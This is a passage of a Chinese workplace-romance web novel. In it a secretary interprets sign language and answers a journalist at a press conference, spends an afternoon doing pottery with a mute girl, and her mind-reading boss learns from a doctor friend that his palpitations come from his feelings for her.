虞晚还没想好该怎么说,傅知尧已经走下发布会舞台,卫羡那些激动的说话声飘进他耳朵。
看了眼凝神思考的虞晚,傅知尧整理着袖口,不紧不慢询问:“上台会腿抖吗?”
虞晚循声,抬眸朝傅知尧看去,对上他那双凌厉深邃的眼。
显然,傅知尧没打算重复第二遍。
虞晚有些意外老板会听到,她摇头:“不会。”
孤儿院每年有慈善机构组织的募捐晚会,虞晚她们都是要上台表演的,演出质量直接决定她们当年的衣食质量。
演出场地也简陋,就是孤儿院的大教室,台下乌泱泱坐着一群衣着简约不失高端的陌生人,虞晚她们则是穿着朴素日常的衣服表演一些舞台剧或者大合唱,合唱完派出代表进行演讲,热泪盈眶地感谢好心人资助,台下人抬手擦泪,台上孩子眼神纯质朴实,场面十分感人。
虽然现在看来不过是一些企业或者个人为了彰显善心,提高社会认可度的行为,但不可否认,的的确确给她们孤儿院的孩子带了一些好处。
虞晚童年时期获得的第一个玩具熊就是好心人捐赠的,毛茸茸的,手感很好,胸前系着一个红色波点蝴蝶结,后来蝴蝶结被扯掉弄丢,只剩下熊。
她给小熊取名小晚,睡觉的时候就当小熊是自己的孩子,抱在怀里不肯撒手,
但那只熊后来不知被她放到哪里去了,虞晚怎么都找不到。
现在的假淡定大概就是当初在孤儿院时学来的吧。
傅知尧一锤定音:“那就上台试试。”
虞晚:“……”
腿不抖就让上台,老板对上台的门槛定义也太低了吧,那当初选她当秘书的偶然性难不成是因为她会呼吸?
虞晚最终还是答应了卫羡。
上台前,卫羡拉住她,将她扎好的低马尾整理一番,耳侧碎发别到耳后,露出一张干净白皙的脸,又把她胸口的工作牌放正。
虞晚化了妆,但并不明显,在卫羡看来,大概只涂了粉底液,口红颜色淡得和没涂一样,她旋开随身带的一管豆沙色口红,用指腹在膏体侧面蹭了蹭,往虞晚嘴唇上抹了点,原本浅樱色的唇颜色变得鲜艳,整个人瞬间明媚生动起来,看着精神多了。
“OK,非常完美,气场强大,妆容合适,服装得体。”卫羡说,“叶总你认识我就不多介绍了,至于其他的,我觉得没什么特别需要叮嘱的,遵从本心回答,其余的叶总自会补充。”
叶羽光在这时拿着话筒走过来,同虞晚打招呼:“虞秘书,你待会儿要比划手语不方便回答,我就只拿了一支话筒,有需要我再递给你。”
叶羽光已经习惯了这种提问环节,早在之前路演拉投资时他就跑过无数个城市,后来遇上傅知尧,总算是将医疗平台的架子搭了起来,一点点看着平台成长到如今的规模。
对虞秘书,他原本了解不多,但一起开过几次会,知道和泽域的合作是她发挥了重要作用,也知道虞秘书肚子里装着真东西,因此对她没有半分轻视。
虞晚点头:“好,麻烦叶总了。”
现在正是中场休息时间,台上巨幅荧幕正在播放此次合作项目的宣传片,还有四方交流的部分会议场景。
虞晚在一些照片的边边角角中找到了自己。
对比起傅知尧西装革履,兼顾气场强大和优雅矜贵,虞晚有些像刚捡完垃圾还没来得及分类卖钱的人。
好歹她现在衣服档次也上来了,怎么看着就是没有傅知尧有派头呢。
但想想傅知尧衣着的价格,虞晚又释然了,她这辈子都不可能像傅知尧那样,一件定制西服够她买一年四个季度的服装。
很快,林蕊主持上台,采访环节继续,她用幽默不失严谨的语言介绍医疗平台的创始人叶羽光,熟络地调侃了几句老朋友,带动现场的活跃气氛,叶光羽上台后,媒体记者开始提问。
这个时候还不是虞晚上台的时机。
等到叶光羽回答了几位记者的提问后,镜头终于扫到了胡诚记者,他站起身,预备举起手中的写字板。
林蕊笑着看向胡诚,说话的语速变慢,口型稍微夸张了一些:“胡记者,又见面了。”
胡诚是个留着黑色短发,戴银边眼镜的男人,看样貌年龄不会超过三十五,衣着打理得整洁干净,看着格外清爽。
他同样回以笑容,朝林蕊摆手,等待主持人的下一步交流。
林蕊:“因为听力和声带受限,在以往的现场提问环节,胡记者一直是将写好问题的字板举起进行提问,方便了我们台上回答的人,不记得问题还能看看字板,但也给胡记者想要深入了解增添了点阻碍。”
胡诚并不介意被人提起自己的残疾之处,仍旧微笑看林蕊说话,周围记者大多认识胡诚,不认识的和旁边记者聊几句便也知道了。
林蕊抬手示意幕布后的虞晚上台,“不过今天不一样,胡记者的字板可以稍微歇一歇了,这次医疗平台项目中还有一位贡献颇多的参与者
,也是达成与信远制药深度合作的核心人物,虞晚,虞主管。”
听到主管两个字,虞晚差点当场表演左脚绊右脚,她一个秘书,除了工资稍微高点,职级方面,也就是基层岗中的二级员工,主管这个名头直接让她飞升中层管理岗,虞晚怎么可能不惊讶。
但惊讶归惊讶,现在聚光灯对着她,不适合表演目瞪口呆。
虞晚走到林蕊和叶光羽身边,接过叶光羽递来的话筒,微微一笑,朝台下记者朋友们打了个招呼。
“大家好,我是虞晚。”
台下稀稀拉拉响起掌声,讨论声不绝于耳,一些人好奇她是谁,也有人认出她是傅知尧的秘书。
林蕊解开她方才卖的关子:“可能胡记者会好奇为什么我说虞主管上台你的字板可以罢工,你可以猜一猜?”
胡记者了然,他将字板放到脚下,看向虞晚:你会手语是吗?
虞晚点头。
她将话筒还给叶光羽,微笑用手语回应:只学了不到五年,请多指教。
胡记者笑起来,周围再次响起掌声,这次掌声稍微大了些。
傅知尧没有离开,站在舞台幕布后,身形隐匿在周遭的黑暗中,这个角度,只看得见虞晚被聚光灯照射的背影。
她今日难得穿着裙装,灰色的女士西服套装,A字包臀裙裙摆过膝,露出细瘦的小腿,脚下一双裸色高跟鞋,隐隐显出优美的肌肉线条。
第55章
因为两人在比划手语,会场内一时变得极为安静。
简单聊过,胡记者开始提问,提问对象并非虞晚,而是叶光羽,虞晚在一旁默默充当翻译。
虞晚的翻译十分流畅,几乎能做到和胡诚的手语速度同步,她并没有觉得这样有什么问题,但叶光羽觉得有问题。
方才林蕊的介绍中,虞晚的职称都变了,从秘书变成主管,林蕊会这样说难道是故意抬高虞晚,想要巴结她吗?当然不是,肯定是得到了某个人的授权,或者说,那个人就是傅总。
于是,在回答了胡诚的两个问题后,叶光羽将胡记者有关泽域和傅氏合作的提问引到虞晚身上。
论对泽域和傅氏合作项目的了解程度,他不及虞秘书。
胡诚这才将注意力落到虞晚身上,从他开始提问就像透明人一样站在旁边静静翻译的虞晚。
他不需要担心自己的手语被误翻,台上电子屏幕实时更新虞晚的翻译语句,比起他比划的词汇,丰富完善了更多。
叶光羽的谦让不由得让胡诚对虞晚的实力重新审视。
一个年轻得过分的主管,能接住他的提问吗?
胡诚看向虞晚,因为虞晚会手语,他不需要放慢速度让她有多余的时间慢慢翻译,提问更加流畅,也因为对她的质疑,提问格外尖锐。
胡诚:众所周知,泽域一向主攻高端医疗服务,服务对象多为富豪和官二代,即有权有势的人群,此次泽域和‘好医生’平台合作,归根结底是为了更好赚群众的钱,所谓互联网医疗,说是提供及时、便捷的线上诊疗,但线上诊疗就能保证百分百的准确吗?谁为这个准确负责?医生?平台?还是赚钱获利的你们?如果大家被有意引导,没病也去医院看,岂不是浪费医疗资源,和泽域的合作意义在哪里?
胡诚的问题密集且棘手,叶光羽视线从身后展现胡诚提问的屏幕上收回,微微蹙眉看向虞晚,有些后悔自己方才抛话题给虞晚的决定。
正思考着要如何替虞晚救场回答,就看到虞晚接过林蕊主持递来的话筒,目光落到胡诚身上。
虞晚平静开口,这回没有再用手语:“胡记者,如果有人告诉你,只需要十万块钱就能让你正常开口说话和倾听,你会付这十万块钱吗?如果有人告诉你,只需要十块钱就能检查你能不能正常开口说话和倾听,你会付这十块钱吗?如果有人告诉你,不需要钱就能让你正常开口说话和倾听,你会相信对方吗?”
胡诚不需要仔细观察虞晚的口型,荧幕上的字已经替他准确展现。
他神色有片刻诧异,因为虞晚的回答出乎他的意料,让他一瞬从提问者变成了被提问者,身份的对调有些突然,胡诚一时没反应过来。
理解完虞晚的意思,他道:这和我的提问有关系吗?
虞晚微笑,眼神澹和沉静:“当然有。”
“胡记者应该听过一句话‘小病拖,大病挨,重病才往医院抬’,这句话反映了我国当前群众对疾病的态度,绝大多数人都是讳疾忌医,不到万不得已不会去医院,身体出了点毛病,大多数人觉得抗一抗过几天就好,何必花钱,何必花冤枉钱。如果这时候出现人说能看病,不要钱,免费的,再推荐一大堆药物让病人去购买,大家会觉得是骗子,不会相信。但如果有专业的医疗平台,只需要付一个就诊费,就能足不出户对自身病情进行一个简单的判断和诊治,你会介意出那十块钱吗?如果十块钱的就诊结果不乐观,你跟从平台推荐去相对应的三甲医院检查,医生告诉你需要做一个手术,十万块钱就能恢复健康,你会吝啬这十万块钱吗?”
虞晚的回答循序渐进,整个人表情没有太大波澜,却并不让人觉得冷漠,这大概和虞晚的长相有关,她不属于五官深邃浓艳那一挂,更像是山涧的清泉,缓缓无声侵入,是一个很容易让人放下戒备心的长相。
虞晚继续说:“很多时候,我们看病,其实是为了求一个安心,大家害怕的不是疾病本身,而是没有希望,只能等死。泽域属于高端医疗没错,可如果有这样靠谱的高端医疗平台,能给我们治愈疾病的希望,你还会觉得‘好医生’平台仅仅是为了牟利而存在的吗?”
“我想,我们傅氏和泽域合作,看中的就是那份能给人带来希望的昂贵。”
台下一片静默。
胡诚愕然,须臾,无奈摇了摇头,第一个拍起手掌,脸上表情从最初的不以为意变成欣赏,其他新闻记者像是才反应过来,跟着鼓起掌,这回掌声比先前任何一次都要热烈,经久不息地回荡在会场内。
虞晚没有被现场态度转变的情绪裹挟,心绪平静,眉宇淡然,紧跟着回应了胡诚话题里有关医疗资源浪费问题,以及线上医疗平台管理问题。
这些她们在开会时就讨论过无数次,有一套应对的话术,而虞晚之所以能不矜不盈地说出来,归根结底是对项目线下医疗资源整合的自信。
互联网医疗具有一定前瞻性,线上医疗诊断服务不是重点,这背后医疗治理体系的优化升级,互联网、医疗、医药、相关部门的携手,战略性合作对医疗资源分配不均的改善才是重点。
虞晚的回答其实并不完美,因为某些落后地区的家庭就连拿出十元就诊费都困难,可难道因为这种困难,平台和有关部门便放弃不作为吗?
道路是人走出来的,河是摸着石头过的,这也是‘好医生’平台需要改进的地方,她不会一味掩饰。
解答完胡记者的问题,虞晚在掌声中微微弯腰鞠躬,将话筒交还给林蕊,转身下台,发布台的灯光穿过她柔软的发丝,温润的光落在她眼睫上,光影勾勒出她纤细挺直的脊背,整个人宛如在发光。
傅知尧看到虞晚脸上缓缓绽放的笑容,犹如青山远黛的脸庞朦
胧柔美,让傅知尧迟迟无法将视线转移。
这样的场景让他想起亲子运动会,虞晚将傅许安高高举起的场景,眼眸中渲染的春光,想起了在港城的那个雨夜,虞晚眼眸中沾染的虹光。
傅知尧喉咙一阵发紧,心脏不受控制地剧烈跳动起来,扑通扑通,几乎震耳欲聋,他甚至有种呼吸不畅的痉挛和刺激感,令人颤栗的电流从脚底传到大脑,傅知尧放在身侧的手掌紧了又松,心脏跳动的速度仍旧没有恢复。
这样心跳无端加速的情况已经发生了不止一次。
他不对劲。
看样子,要抽空去周瞿洋那边看看。
卫羡欢呼出声,一把将虞晚抱住:“虞晚,我就知道你可以!太棒了!那些话开会的时候我好像都听过,但你是怎么记住的!”
虞晚笑着接住卫羡的拥抱,“好记性不如烂笔头,我不是还整理了一遍会议记录吗?”
卫羡挽着虞晚胳膊,冲关彦轩显摆,洋洋得意:“某些人啊,有眼不识珠,眼睛没有用可以捐了。”
虞晚:“……”
还是卫羡姐厉害,她就不敢这么挑衅关总监。
关彦轩看着虞晚,又看了眼在虞晚下台前急匆匆转身离开的傅知尧,唇微微张开又合上,最终一句话也没说。
他知道他和虞晚没什么可能性,所以除了生日送的那束花什么都没做,但让他去告诉虞晚傅知尧的异常行为?
抱歉,他做不到。
新闻发布会成功结束,剩余的收尾工作有专人处理,加上庆功宴是在晚上举办,虞晚今天下午也不需要回公司坐班,收拾好东西预备回家休息,在家里处理工作。
刚收拾好,廖佑林助理敲门进来,发出邀请:“廖总说马上要回港城了,想请您还有傅总单独吃一顿饭。”
请她?这话不该是对老板说吗,她的同意与否什么时候排在老板前面了。
虞晚看向傅知尧,征求他的想法。
傅知尧还坐在沙发上,一时没有反应过来,看到虞晚和廖总助理投来的目光,微微一怔。
助理微笑重复了一遍。
傅知尧这才回神,他站起身,装作自然地整理了一下西装,看向虞晚:“那就去吧。”
他大概猜到了廖佑林请虞晚吃饭的原因。
傅知尧大踏步往门外走,留给虞晚一个恣意潇洒的背影。
虞晚拎上装满文件的公文包,将公文包交给蔡秘书,随后快步追上老板。
不知为何,从发布会结束,虞晚就感觉傅知尧有些不对劲,比起先前过分沉默了些。
倒不是说之前的傅知尧是个话痨,而是,她回答完胡记者的提问,作为老板,难道不该对她的表现进行一个简短的点评或者总结吗?
这毕竟是她第一次面对媒体记者,稍有不慎就可能会对傅氏企业形象造成损害。
还是说她的表现已经达到了让他叹为观止的高度了?
怎么可能。
比起这个,她更愿意相信老板是中邪了。
不然怎么一对上她的目光就和被烫到一样转开视线,一句话也不说。
虞晚偏头小心翼翼打量傅知尧,傅知尧修长的指骨抵在下颚线处,视线落在车窗外,敛眉思忖,像是完全没有注意到虞晚的目光。
两人很快抵达廖佑林定好的餐厅,门一打开,虞晚就看到了廖如萱,她瞪大眼,惊喜道:“小萱,你来海市了?”
廖如萱踮了踮脚,小脸上是藏不住的雀跃,抬手说:你上回说我来海市,你就带我玩,还算数吗?
虞晚蹲下身,视线和廖如萱齐平,她笑着回答:一直都算数。
今天新闻发布会结束,医疗项目合作的事情暂告一段落,她有将近三天的假期可以好好休息,当然有时间。
虞晚看向廖如萱身后的男人,站起身问好:“廖总。”
“虞秘书。”
看到跟在虞晚身后进来的傅知尧,廖佑林抬手做了个请的动作,“傅总,既然人到齐了,我就让他们开始上菜。”
傅知尧颔首。
看到廖如萱,基本确定了他的猜测,对廖佑林的戒备心稍稍放低,坦率落座。
包厢宽敞,座位多,他和虞晚中间差不多隔着四个人的距离,只能看着她和廖如萱说悄悄话。
这顿饭吃的没有虞晚想象中那么难熬,因为不需要谈工作,双方情绪都比较放松。
加上泽域和傅氏双方合作关系的确定,廖佑林在这十几天的实地考察中刷新对傅氏发展量级的认知,高高在上的姿态得到极大程度的改善。
第56章
吃过饭,廖佑林将此次请虞晚吃饭的目的说明。
他脸上没有最初的轻浮,正经了许多,但话说出口,一如既往让人觉得讨厌。
廖佑林:“我们是明天上午十点半的飞机回港城,因此虞小姐可以随意支配今天下午的时间,但廖如萱身边必须有保镖的陪同,不能离开保镖视线范围内五米,出了问题,我很难和老爷子交待是其一,虞小姐能不能承担起责任是其二,我想虞小姐是个聪明人,应该知道怎么做。另外,廖如萱除了不能说话,心脏也不太好,剧烈运动或者刺激性项目完全是禁区,同时太过强烈的紫外线会让她浑身起疹子,喉咙水肿呼吸不畅,除了下雨天,她无法待在有阳光的地方,你们下午的活动最好是在室内,食物方面廖如萱忌口不多,阿姨会提醒,不过,外面小吃摊上的食物还是不要让她吃,出问题处理起来很麻烦的……”
这些事情廖佑林这个做大哥的没少被老头子逼着干,清楚得不得了,但他怕虞晚不清楚,虞晚不清楚,最后遭殃的还是他。
叮嘱完注意事项,廖佑林看了眼廖如萱,廖如萱顺从地捂住耳朵。
廖佑林这才继续说:“虞小姐不必觉得委屈,事后司机去接廖如萱时你可以获得一张两百万的支票,算是感谢。”
傅知尧不悦皱眉。
一张两百万的支票就想衡量虞晚付出的时间和精力,廖佑林还真是记性差,要脸两个字都不知道该怎么写。
但傅知尧没开口,就像是当初拒绝他送的珍珠首饰一样,他知道虞晚会处理好。
和傅知尧想的一样,虞晚内心没啥波澜,她摇头拒绝了支票:“答应小萱她来海市就陪她玩是我先前说好的,不需要任何金钱上的感谢,不过呢,既然廖总诚心诚意想出钱,那就将下午游玩的费用和邮费付了吧。”
廖佑林皱眉:“邮费?”
廖如萱看到虞晚朝她比划手语:告诉他,我们下午准备去哪里玩?
廖如萱将捂着耳朵的手放下来,抬头看廖佑林,对上男人漆黑冷漠的眼睛。
她其实不喜欢廖佑林这个大哥,她也知道廖佑林不喜欢她,但如果不是廖佑林在海市,爸爸是不会允许她来找虞晚玩的。
廖如萱说:我和虞晚姐姐下午要去陶艺店,我想捏个漂亮的杯子送给爸爸。
一旁保姆贴心为小小姐翻译。
廖佑林看了眼虞晚,大手落在廖如萱脑袋上,将廖如萱推到虞晚身边,“那就麻烦虞小姐照顾她了,你说的费用,直接找小曹。”
曹助理在廖佑林身后朝虞晚点头,两人早在之前就交换过联系方式。
有廖如萱在,虞晚不需要另外打车,她牵着廖如萱,同傅知尧告别,坐进黑色保姆车,消失在傅知尧视线范围内。
傅知尧转过身,对上廖佑林带着促狭笑意的脸。
廖佑林眉梢动了动:“傅总是从哪里挖掘到虞秘书这样的人才,可惜就是没什么背景,还远在海市,否则,我不介意和她谈一段真挚的恋爱。”
傅知尧眼底情绪骤然变得冰冷,语气难掩讥讽和警告:“虞晚是我秘书,有自己的工作和追求,不是你臆想的对象,廖总要是学不会怎么正确夸赞人,我可以出钱替廖总报语言班,廖总不必觉得委屈,两百万的支票我还是出得起。”
傅知尧一动不动盯着廖佑林,眼眸漆黑阴沉,充满压迫,比上次婉拒合作时说的话更直白不留情。
廖佑林不由微微挑眉,敛了心神,笑着扯开话题:“随便说说而已,傅总别当真,我只是很喜欢虞秘书今日发布会上的表现,出乎人意料的镇定呢。”
傅知尧没回答廖佑林的话,虞秘书的优秀还需要他盖棺定论?
让虞晚全程参与项目不是让她来打酱油的,如果虞晚上了台只会傻站着,他才会失望,不过有一点廖佑林没有说错,虞晚的表情的确出乎他意料。
虞晚带着廖如萱去了预约好的陶艺店,店内环境干净整洁,还有单独的包间,不必担心被其他人打扰。
两位穿着常服人高马大的保镖坐在包间角落,沉着一双眼四处梭巡,不苟言笑。
虞晚没觉得不自在,毕竟这是他们的工作,都是打工人,能理解。
但店长显然有些慌,他教会虞晚使用拉坯机和各种刮坯工具后就迅速从房间里溜了出去,一刻也不敢多待。
虞晚和廖如萱都是第一次做陶艺,外加店长说当天拉好的坯体最好风干两天再上色,于是两人打算共同捏一个杯子玩玩,上色涂鸦就用店里晾干的半成品。
两人捏着泥巴,腾不出手,但这并不影响两人的交流,拉坯机转速太快,坯体捏歪了,刮坯太用力导致坯体削去半边都能逗得两人哈哈大笑,廖如萱发不出声音,但她笑得眼睛弯弯的,一双眼明亮活泼。
角落里坐着的保镖尽职将两人笑哈哈的场面录下来发给远在港城的廖冠儒。
忙忙碌碌一个多小时,两人最终捏了个歪七扭八的杯子出来。
廖如萱有些沮丧,虞晚捏捏她的脸:没关系,我可以用它当笔筒,装我的签字笔,很实用的。
廖如萱这才笑起来。
两人去店长那边挑选可以直接上色的坯体,虞晚选了两个盘子,打算画好后一个送给廖如萱,一个送给傅许安。
傅许安不知从哪里得知她生日,生日当天给她快递了一件白T恤,背后画着三个人,正是那次亲子运动会的场景。
傅知尧和她同时侧过脸看她,傅许安则高举金灿灿的奖杯,画面最上方用五颜六色的彩笔写道:虞晚,生日快乐!!!
傅许安笔触童真不失绘画功底,简单的线条组合就能轻而易举表现出人物特质,十分抓人眼球,虞晚觉得傅许安很适合当艺术家。
选定好坯体,两人开始上色,这回交流就没那么多阻碍,两人陆陆续续聊了许多话题,虞晚不理解的手语,就让廖如萱打字交流。
说着说着,就提到了虞晚小时候的事情,虞晚告诉廖如萱自己是在孤儿院长大的。
廖如萱明白孤儿院的含义。
她的身体不好,每天都在家上学,周末的时候可以玩玩手机,看看电视,她在电视上看到爸爸参加慈善活动的视频,知道孤儿院是专门收留没有父母亲人养育的孩子。
廖如萱看着虞晚,她正低头认真用画笔上色,脸上没有丝毫悲伤。
她问虞晚:你想找到你的爸爸妈妈吗?我可以让我爸爸帮你。
虞晚稍愣,片刻,微微摇头,“不用。”
如果她是个对自己身世一无所知的孩子,她或许会期待父母,会思考他们是不是处于什么不得已的原因才将她抛弃,就像小时候,每日等待孤儿院大门打开,幻想下一秒出现的是她的亲生父母,微笑着要接她回家。
家这个词太广泛了,虞晚以前觉得有父母家人才算家,现在觉得她自己一个人也是一个家。
陶艺制作完成已经是晚上七点多,虞晚没去参加庆功宴,和廖如萱一起吃了顿晚餐,告别的时候廖如萱紧紧抱着虞晚不肯松开。
虞晚蹲下身看她,目光温柔:我们已经交换了联系方式,你可以随时给我发消息,我不一定能及时回复,但我忙完工作就会回你,所以距离不是问题。
廖如萱着急了,手飞快动作:那你辞职,来港城和我住,我让爸爸给你发工资。
虞晚笑着摇头:不行,做不到的事情我不会答应,但等我休假,我就去港城找你玩,我还没坐过落日飞车呢。
上次出差遇上雨季,整日待在酒店,一次都没出门逛过,她也很遗憾。
廖如萱知道虞晚一向说话算话,抿着嘴唇,不情不愿答应了她。
委屈的小表情将虞晚逗笑,她捏捏她的脸,哄她:我再给你表演一个魔术,想看吗?
廖如萱点头。
虞晚重复了第一次在廖如萱面前表演魔术的动作,手指翻飞舞动,最后往廖如萱脑袋后一抓,张开掌心,一只毛茸茸可爱的的熊猫挂件在廖如萱眼前随着链条晃动身体,小熊猫怀里还抱着一根绿油油的竹子。
廖如萱惊喜地睁大眼。
是她喜欢的熊猫,她今天给杯子上色画的图案就是熊猫!
廖如萱开心收下礼物,被保镖抱上保姆车,车窗下降,廖如萱同虞晚挥手说拜拜,不忘强调:记得来找我玩!
“好。”
虞晚点头,目送保姆车远去,刷脸进了小区。
进门时,手机屏幕被无意点亮,虞晚看到了一条来自老板的未读消息,在她发消息请假不去庆功宴后半小时发来的。
老板:【到家了吗?】
虞晚关上门,赶忙回复:【刚到家,才看到老板您发的消息,谢谢老板关心。】
这次不到一分钟傅知尧就回了消息。
照旧一个嗯,看不出什么情绪。
虞晚盯着那个孤零零的‘嗯’字,抿了抿唇,笑着收起手机去洗澡。
洗完澡,一身疲惫跟着卸下,虽说下午的活动不需要消耗脑力和体力,但不知是不是生理期要来了的缘故,虞晚格外腰酸。
收拾利索回到卧室,虞晚戴着腰部按摩仪和防蓝光眼镜,对着电脑处理剩余的工作,忙碌到十一点半才解决完,仔细检查过一遍,确认没问题,设定明天十点半的定时邮件发送到傅知尧邮箱,这才合上电脑。
睡前,虞晚习惯性刷会购物软件,刚点进去,软件跳出推送弹窗:中秋节要到了,给爱的人提前准备一样惊喜!
虞晚记起,老板的生日似乎就在这个月月底,她退出软件查看日历,再次确定。
是上回和傅许安聊天时,傅许安提到的,虞晚顺手标记到日历上。
想到老板平日里的大方,以及工作上对她的提点,虞晚决定送老板一份生日礼物,就和转正请老板的下午茶甜点一样,不用多么昂贵,能表达她的感谢和心意就好。
确认距离老板生日还有半个月时间,虞晚放下手机,安心投入梦乡。
第57章
翌日十点半,开车前往医院的傅知尧收到一封邮件提醒。
等绿灯的时间,傅知尧点开看了眼发送人,果不其然是虞晚。
重要文件和会议纪要从不用他催,当天或者隔天上午就会送到他面前,实在忙不过来虞晚会提前和他沟通,告诉他预计完成时间,只要说了时间范围,虞晚必定会在那之前将文件发送给他,让人十分省心。
半小时后,车子抵达医院,停好车,傅知尧大步朝周瞿洋办公室走。
周瞿洋是个读书很厉害的人。
十六岁进入大学,没有选择家人期望的经商路线,坚定地读了自己喜欢的医学,本硕博连读,二十八岁就成了私立医院的主治医师,专攻心血管疾病,成为主治医师的今年,已经独立主刀过不下十场手术,毕竟年纪小,许多患者家属并不信任,平日里都是给经验丰富的主刀医生打下手,负责给伤口缝合,缝合技术娴熟老练,不少医生私下称呼他为一言不合就能回家继承家产的缝合大神,也有因为他长相和性格喊他玉面菩萨的。
不过这些称号周瞿洋并不知情,他一向不怎么和医院里的医生聊工作之外的事情,工作之余最喜欢做的事情大概就是研究文献,时不时发表一篇核心期刊,再被知名高校邀请去开讲座,工作安排比傅知尧还要密集。
两人见面频率并不高,
周瞿洋偶尔来市里开会,路过他公司会问问他,傅知尧有时间就会赴约,坐一起聊聊近况,分享分享生活。
走到周瞿洋办公室,里面已经有人了。
一位穿着打扮讲究的年轻女人站在周瞿洋对面,积极推销手中的保温桶,眼眸柔情似水。
“周医生,这是我今天早起专门熬的鸡汤,特意选的农家散养走地鸡,文火炖了五个多小时,绝对入味好喝,里面还加了滋补的党参和黄芪,像周医生你经常熬夜加班,喝这个汤最合适了,身体要是缺少营养会没精神的。”
周瞿洋摇头,拒绝女人时神色依旧温和:“文小姐,真的不用,现在是上班时间,我正在工作,而且医院有规定不能收病人家属的好处。”
文小姐着急解释,脸蛋躁红一片,明眼人都看得出来她对周瞿洋有意思:“这怎么算好处,这是……这是我对周医生的感谢,如果不是你,我的妈妈可能还要经受病痛折磨,周医生你收下吧,不然我就只能倒掉!”
周瞿洋并不会被她短短几句话威胁,看到门口一脸看好戏的傅知尧,礼貌提醒文小姐。
“文小姐,你去看看文女士吧,想必她很高兴喝到你亲手煲的鸡汤,我这边还有病人要看诊,就不送你了。”
文小姐扭头,注意到站在办公室门口高大俊朗的男人,男人五官立体深邃,狭长的眼眸中情绪疏离,比起周医生的俊朗温柔,这位男人看起来格外冷戾不好惹。
文小姐也怕被其他人看出自己的纠缠,讪讪收回保温桶,依依不舍道别:“既然周医生有病人我就不打扰了,我先去看我妈妈。”
“嗯,慢走。”
办公室门合上,傅知尧走进来,坐到周瞿洋办公桌前的椅子上,直言不讳:“她撒谎,那鸡汤不是她煲的,是她家阿姨煲的。”
“我知道。”周瞿洋给傅知尧倒了杯茶水,温声提醒:“小心烫。”
傅知尧困惑:“知道不是你还拒绝得那么温柔?”
周瞿洋坐下来,解释:“你可能没看到,文小姐手指上有烫伤的痕迹,说明她尝试过,但可能是不好喝,觉得拿不出手,所以才让家里阿姨帮忙煲的吧。”
傅知尧一顿。
这就是听到心声的弊端,他不再浪费力气去观察他人的言行举止,仅仅只凭心声就判定一个人的好坏。
傅知尧眉梢微动,掩去那几分错愕,直奔主题:“不说了,你心里有数就行,有问题找我,今天早点检查,中午一起吃饭?”
“好。”
傅知尧昨天预约的检查,周瞿洋今日上午查过房,将剩余的时间空出来。
他从电脑中调出傅知尧的病历,查看过往体检结果。
周瞿洋拿出专业态度,对傅知尧进行例行的询问:“你上次做全身体检是半年前,检查结果显示没有任何问题,心脏也非常健康,你最近是什么时候开始觉得不对劲的,心脏不适时疼痛是如何表现的?”
傅知尧皱眉仔细回想,“说疼痛太过了,没什么疼痛感,只是偶尔心跳速度加快,和心悸有些像,另外最近注意力也有所下降,我开始觉得可能是因为工作疲惫,但去班加罗尔出差那几天高强度工作又一切正常,完全没觉得不对劲,回国后心悸和注意力不集中的情况再次变多,相当明显,偶尔还会有点烦躁和不爽。”
周瞿洋认真在病历上敲字记录,继续问:“没有诱因吗?比如心跳加速之前做了点什么,或者被什么画面刺激到。”
“没什么画面,平白无故就这样,再说了,我要是搞得懂我来医院干什么,做个CT检查一下,总能排除点原因吧。”
“嗯,那人呢?”
“人……你是说虞晚?”
虞晚两个字说出口,熟悉的心悸感迅速缠上傅知尧的心脏,彷佛提到这个名字心脏就开始加速,他眼皮颤了颤,指尖不自觉蜷缩。
说完,他罕见地沉默下来。
周瞿洋原本还在正常地输入症状描述,等听到傅知尧这句话,打字的手指缓缓停下来,目光看向傅知尧,冷静平淡地开口:“你有喜欢的人了。”
不是心脏了出毛病,也不是心悸或者注意力下降,只是因为有喜欢的人。
傅知尧脑子里冒出虞晚的身影,鼻腔里轻嗤一声,不以为意:“你是说虞晚?怎么可能。”
周瞿洋:“我可没说是谁。”
傅知尧:“……”
对上好友沉笃的眸光,傅知尧下意识挺直脊背,手握拳落在办公桌上,他清了清嗓子,开始条分缕析:“我不可能喜欢虞晚,她喜欢我还差不多。”
周瞿洋放下鼠标,一脸愿闻其详:“你说。”
傅知尧:“虞晚是个财迷,她喜欢赚钱,发奖金当天她会开心地请办公室同事喝下午茶,我也有份,她的手机用了四年多都没换,经常卡,后来给她换了个新手机,她隔天就给手机贴膜,套上手机壳保护,生怕把手机摔坏,珍惜得不得了。当然这并不是说她见钱眼开、唯利是图,重点不在这里,重点是我恰恰就是那个有钱人,我也是那个决定虞晚工资和奖金多少的人,按照虞晚现在每个月的花销数额,我的资产足够她花十辈子都不止。”
周瞿洋点头-
【确实,知尧确实是个有钱人。】
傅知尧像是找回自信锚点,继续说:“虞晚喜欢长得好看的人,看见长得好看的人就会偷偷摸摸打量对方,一副移不开眼的模样,而我,你知道的,我大学时走路上就有星探给我递名片,想让我当明星,说什么凭借我的样貌一定能火爆全球,成为SuperStar,被我严肃拒绝了,因为我对当明星没任何兴趣。”
周瞿洋再次点头-
【知尧长得确实好看。】
傅知尧话语更从容:“虞晚三月份入职公司,三月中旬进了总裁办,我就是她的顶头上司,排除加班,一周至少五天会见面,她几乎总能看到我这张脸,人是很少会对美丽的东西视觉疲劳,喜欢上我也是很正常的一件事。”
周瞿洋:“……”-
【不喜欢虞晚,但对她的喜好了如指掌,对她的观察细致入微,奇怪的不喜欢。】
听到好友这句心声,傅知尧满腹打好草稿的借口忽然停止输出,他表情微滞,面上镇静淡定,全身神经却在滚烫沸腾,大脑内紧绷的弦彷佛在一根根断开,重现了他这段时间的异常反应。
他记得每一个场景里虞晚的神态和表情变化,看到虞晚呆呆的表情他会控制不住嘴角上扬,得知虞晚有交好的男性忍不住地猜测是谁,知道关彦轩喜欢虞晚时心头莫名烦躁,看到虞晚从舞台上走下来心跳无端加速,担心虞晚会被廖佑林算计同她一齐赴宴,又掐着她回家的时间点给她发消息询问是否安全到家。
这些,哪一件属于他这个当老板的该做的事情?
不,应该说自从港城回来后他就变得不对劲,那时他将自己的别扭解读为发病难堪的一面被虞晚看到的正常反应,可虞晚生日那次该如何解释,他找借口让虞晚送文件,在提前订好的酒店内和她一起吃饭,特意绕路带她看那场盛大的烟花表演,在烟花结束后说出了他起初认定不会重复第二次的话,亲手打破自己给自己设定的规矩。
他……真的喜欢虞晚?
单身二十八年的傅知尧头一次思考起这个问题。
没有恋爱经验,也从不看言情类电视剧或者小说的傅知尧在拒绝和否认周瞿洋的猜测后沉思三天。
